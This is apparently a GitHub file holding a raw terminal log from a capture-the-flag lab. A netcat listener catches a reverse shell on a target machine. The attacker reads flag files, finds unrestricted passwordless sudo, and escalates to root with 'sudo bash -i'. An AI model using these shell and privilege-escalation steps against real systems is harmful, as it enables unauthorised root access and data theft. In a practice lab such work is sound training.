-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathnetcat-cli
More file actions
34 lines (33 loc) · 806 Bytes
/
netcat-cli
File metadata and controls
34 lines (33 loc) · 806 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
└─$ nc -lvnp 3333
listening on [any] 3333 ...
connect to [10.8.78.245] from (UNKNOWN) [10.10.76.140] 48366
$ cd /home
$ ls
rick ubuntu
$ cd rick
$ ls
second ingredients
$ cat "second ingredients"
1 jerry tear
$ cd /root
$ ls
3rd.txt snap
$cat 3rd.txt
$ sudo -l
Matching Defaults entries for www-data on
ip-10-10-76-140.eu-west-1.compute.internal:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on
ip-10-10-76-140.eu-west-1.compute.internal:
(ALL) NOPASSWD: ALL
$ sudo bash -i
sudo bash -i
root@ip-10-10-76-140:/var/www/html# cd /root
cd /root
root@ip-10-10-76-140:~# ls
ls
3rd.txt snap
root@ip-10-10-76-140:~# cat 3rd.txt
cat 3rd.txt
3rd ingredients: fleeb juice